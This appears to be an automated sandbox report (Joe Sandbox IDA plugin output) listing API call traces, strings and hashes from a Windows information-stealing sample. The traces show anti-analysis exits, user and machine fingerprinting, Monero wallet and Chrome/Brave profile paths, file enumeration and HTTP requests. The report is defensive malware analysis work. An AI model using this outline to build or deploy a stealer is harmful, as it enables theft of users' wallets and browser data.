Part of subcall function 00959860: GetProcAddress.KERNEL32(75900000,015E0750), ref: 009598D2
Part of subcall function 00959860: GetProcAddress.KERNEL32(75900000,015E07B0), ref: 009598EA
Part of subcall function 00959860: GetProcAddress.KERNEL32(75900000,015E0768), ref: 00959903
Part of subcall function 00959860: GetProcAddress.KERNEL32(75900000,015E8840), ref: 0095991B
Part of subcall function 00959860: GetProcAddress.KERNEL32(75900000,015D6400), ref: 00959933
Part of subcall function 00959860: GetProcAddress.KERNEL32(75900000,015D6480), ref: 0095994C
Part of subcall function 00959860: GetProcAddress.KERNEL32(75900000,015E07C8), ref: 00959964
Part of subcall function 00959860: GetProcAddress.KERNEL32(75900000,015E07E0), ref: 0095997C
Part of subcall function 00959860: GetProcAddress.KERNEL32(75900000,015E07F8), ref: 00959995
Part of subcall function 00959860: GetProcAddress.KERNEL32(75900000,015E0558), ref: 009599AD
Part of subcall function 00959860: GetProcAddress.KERNEL32(75900000,015D6460), ref: 009599C5
Part of subcall function 00959860: GetProcAddress.KERNEL32(75900000,015E05A0), ref: 009599DE

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

Part of subcall function 009411D0: ExitProcess.KERNEL32 ref: 00941211

Part of subcall function 00941160: GetSystemInfo.KERNEL32(?), ref: 0094116A
Part of subcall function 00941160: ExitProcess.KERNEL32 ref: 0094117E

Part of subcall function 00941110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0094112B
Part of subcall function 00941110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00941132
Part of subcall function 00941110: ExitProcess.KERNEL32 ref: 00941143

Part of subcall function 00941220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0094123E
Part of subcall function 00941220: ExitProcess.KERNEL32 ref: 00941294

Part of subcall function 00956770: GetUserDefaultLangID.KERNEL32 ref: 00956774

Part of subcall function 00941190: ExitProcess.KERNEL32 ref: 009411C6

Part of subcall function 00957850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,009411B7), ref: 00957880
Part of subcall function 00957850: RtlAllocateHeap.NTDLL(00000000), ref: 00957887
Part of subcall function 00957850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0095789F

Part of subcall function 009578E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00957910
Part of subcall function 009578E0: RtlAllocateHeap.NTDLL(00000000), ref: 00957917
Part of subcall function 009578E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0095792F

Part of subcall function 0095A9B0: lstrlen.KERNEL32(?,015E8AB0,?,\Monero\wallet.keys,00960E17), ref: 0095A9C5
Part of subcall function 0095A9B0: lstrcpy.KERNEL32(00000000), ref: 0095AA04
Part of subcall function 0095A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0095AA12

Part of subcall function 0095A8A0: lstrcpy.KERNEL32(?,00960E17), ref: 0095A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,015E89C0,?,0096110C,?,00000000,?,00961110,?,00000000,00960AEF), ref: 00956ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00956AE8
CloseHandle.KERNEL32(00000000), ref: 00956AF9
Sleep.KERNEL32(00001770), ref: 00956B04
CloseHandle.KERNEL32(?,00000000,?,015E89C0,?,0096110C,?,00000000,?,00961110,?,00000000,00960AEF), ref: 00956B1A
ExitProcess.KERNEL32 ref: 00956B22

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2931873225-0
Opcode ID: 784b431ac98947fab930fcd5b56666cea63e9d7a3f0b446a28d3c2429f39c890
Instruction ID: 100719dc766fa5b2f3349e8f3a3c5561010f6c666258d39da6664babeac57b85
Opcode Fuzzy Hash: 784b431ac98947fab930fcd5b56666cea63e9d7a3f0b446a28d3c2429f39c890
Instruction Fuzzy Hash: 08314570904108ABDB04F7F1DC56FEE7778AF84342F404619FA12A3191EF745949C7AA

Function 00956AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,015E89C0,?,0096110C,?,00000000,?,00961110,?,00000000,00960AEF), ref: 00956ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00956AE8
CloseHandle.KERNEL32(00000000), ref: 00956AF9
Sleep.KERNEL32(00001770), ref: 00956B04
CloseHandle.KERNEL32(?,00000000,?,015E89C0,?,0096110C,?,00000000,?,00961110,?,00000000,00960AEF), ref: 00956B1A
ExitProcess.KERNEL32 ref: 00956B22

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: e6b934a49da9ee42d694f868e92f4757e40720c20dedcba420c4a70f545c0ff3
Instruction ID: 7d30ee9972da7c8c4d2b48ae44310cb1fc392f73f4ed810f77e2632f97b96dd6
Opcode Fuzzy Hash: e6b934a49da9ee42d694f868e92f4757e40720c20dedcba420c4a70f545c0ff3
Instruction Fuzzy Hash: 30F05E70944209ABF700EBA2DC1ABBD7B74EB44702F904915BD03A31E1DFB45948D766

Function 009447B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00944839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00944849

Strings

<, xrefs: 009447C9

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 4c67656f03ed8188d5a66f5d71fffa8d94fa3855b7a1832076bd371ee8f31916
Instruction ID: 37dbc37c4e4b75d7a71b56793ad2066dc3b7b86e00ca7b40e49c320d6f7c8ef4
Opcode Fuzzy Hash: 4c67656f03ed8188d5a66f5d71fffa8d94fa3855b7a1832076bd371ee8f31916
Instruction Fuzzy Hash: 46213BB1D00209ABDF14DFA5EC45BDE7B75FB44320F108625FA25A7291EB706A0ACB91

Function 009551F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0095A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0095A7E6

Part of subcall function 00946280: InternetOpenA.WININET(00960DFE,00000001,00000000,00000000,00000000), ref: 009462E1
Part of subcall function 00946280: StrCmpCA.SHLWAPI(?,015EE590), ref: 00946303
Part of subcall function 00946280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00946335
Part of subcall function 00946280: HttpOpenRequestA.WININET(00000000,GET,?,015ED9E8,00000000,00000000,00400100,00000000), ref: 00946385
Part of subcall function 00946280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 009463BF
Part of subcall function 00946280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 009463D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00955228

Strings

ERROR, xrefs: 00955273
ERROR, xrefs: 0095521A

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 51bf40492d3685b93ee5c65bac23114523c9120efb087d7fce48a96c3bae5f7d
Instruction ID: e8f7cf8e8ce82881293861c48b7f77897106fa9efb991504127657dbe1a9bdeb
Opcode Fuzzy Hash: 51bf40492d3685b93ee5c65bac23114523c9120efb087d7fce48a96c3bae5f7d
Instruction Fuzzy Hash: 5B112E30900008ABCB14FF61DD52FED7738AF90301F808658FD1A4A192EF34AB09C79A

Function 00941220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0094123E
ExitProcess.KERNEL32 ref: 00941294

Strings

@, xrefs: 00941233

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 803317263-2766056989
Opcode ID: 795b0981d067f2c96c01d2aa60a064a0dad2901b178631fc9ac8fe55dca338cc
Instruction ID: d9c993d1548475aa24b4937bbe4007f135bda869c925747dcb37309109b9864a
Opcode Fuzzy Hash: 795b0981d067f2c96c01d2aa60a064a0dad2901b178631fc9ac8fe55dca338cc
Instruction Fuzzy Hash: A40112B0D44308BBEB10DBD4CC49F9EB778AB54705F208155E715F61C0D7B45585CB99

Function 00941110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0094112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00941132
ExitProcess.KERNEL32 ref: 00941143

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: c882b516f88315ac8824b9934037e62b1b93237431e402e835f5a8a545bf93df
Instruction ID: 21524b71ef214b55ac1afac47deedec24d85fea7e6ed63d6ad9e19eff83adadb
Opcode Fuzzy Hash: c882b516f88315ac8824b9934037e62b1b93237431e402e835f5a8a545bf93df
Instruction Fuzzy Hash: 06E0E670945308FBF710ABA09C0AF097678AB04B41F104155F709771D0DAB52A40D7AA

Function 009410A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 009410B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 009410F7

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 9fc1f212256411a030567a6bf344448cdde74ccc7fb0e3879fc8a7405013281e
Instruction ID: d2d36b5abd75dd83efc0b6a01767ef20b1d4885bed8d4e749b8b641c85c0a650
Opcode Fuzzy Hash: 9fc1f212256411a030567a6bf344448cdde74ccc7fb0e3879fc8a7405013281e
Instruction Fuzzy Hash: 64F0E271641208BBE7149AA4AC59FABB7ECE705B15F300848F904E3290D9719E40DBA0

Function 00941190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 009578E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00957910
Part of subcall function 009578E0: RtlAllocateHeap.NTDLL(00000000), ref: 00957917
Part of subcall function 009578E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0095792F

Part of subcall function 00957850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,009411B7), ref: 00957880
Part of subcall function 00957850: RtlAllocateHeap.NTDLL(00000000), ref: 00957887
Part of subcall function 00957850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0095789F

ExitProcess.KERNEL32 ref: 009411C6

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 594b5ffc35a073ae6f552334d19d6341933e7dcc465e543937091abaab67fbec
Instruction ID: 2ab2c92ad2de74581fe8142f6d089feb4dc74104d29516629d6c35658f82e44b
Opcode Fuzzy Hash: 594b5ffc35a073ae6f552334d19d6341933e7dcc465e543937091abaab67fbec
Instruction Fuzzy Hash: 79E0ECB591420153DA00B3B2BC4AB2A369C5B54346F040425FE0593112FE29E944C76A

Non-executed Functions

Function 009538B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 009538CC
FindFirstFileA.KERNEL32(?,?), ref: 009538E3
lstrcat.KERNEL32(?,?), ref: 00953935
StrCmpCA.SHLWAPI(?,00960F70), ref: 00953947
StrCmpCA.SHLWAPI(?,00960F74), ref: 0095395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00953C67
FindClose.KERNEL32(000000FF), ref: 00953C7C

Strings

%s\%s, xrefs: 0095397A
%s\%s, xrefs: 00953A6F
%s\%s\%s, xrefs: 00953A4A
%s%s, xrefs: 00953AAD
%s\*, xrefs: 009538C0

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 42e32462862c579ca487b79fd4525059c240ab989e15e47a1c484716655f2ece
Instruction ID: fc607a8c36e72ff90d6c1011c638a33e0b1abb3acddf10f17f8ef378b880ff6f
Opcode Fuzzy Hash: 42e32462862c579ca487b79fd4525059c240ab989e15e47a1c484716655f2ece
Instruction Fuzzy Hash: 96A121B1A002189BDB24DF65DC85FEE737CBB88301F048589BA4D97151EB759B88CF62

Function 0094BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

Part of subcall function 0095A920: lstrcpy.KERNEL32(00000000,?), ref: 0095A972
Part of subcall function 0095A920: lstrcat.KERNEL32(00000000), ref: 0095A982

Part of subcall function 0095A9B0: lstrlen.KERNEL32(?,015E8AB0,?,\Monero\wallet.keys,00960E17), ref: 0095A9C5
Part of subcall function 0095A9B0: lstrcpy.KERNEL32(00000000), ref: 0095AA04
Part of subcall function 0095A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0095AA12

Part of subcall function 0095A8A0: lstrcpy.KERNEL32(?,00960E17), ref: 0095A905

FindFirstFileA.KERNEL32(00000000,?,00960B32,00960B2B,00000000,?,?,?,009613F4,00960B2A), ref: 0094BEF5
StrCmpCA.SHLWAPI(?,009613F8), ref: 0094BF4D
StrCmpCA.SHLWAPI(?,009613FC), ref: 0094BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0094C7BF
FindClose.KERNEL32(000000FF), ref: 0094C7D1

Strings

Google Chrome, xrefs: 0094C634
Brave, xrefs: 0094C102
Preferences, xrefs: 0094C11E
\Brave\Preferences, xrefs: 0094C1DB

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
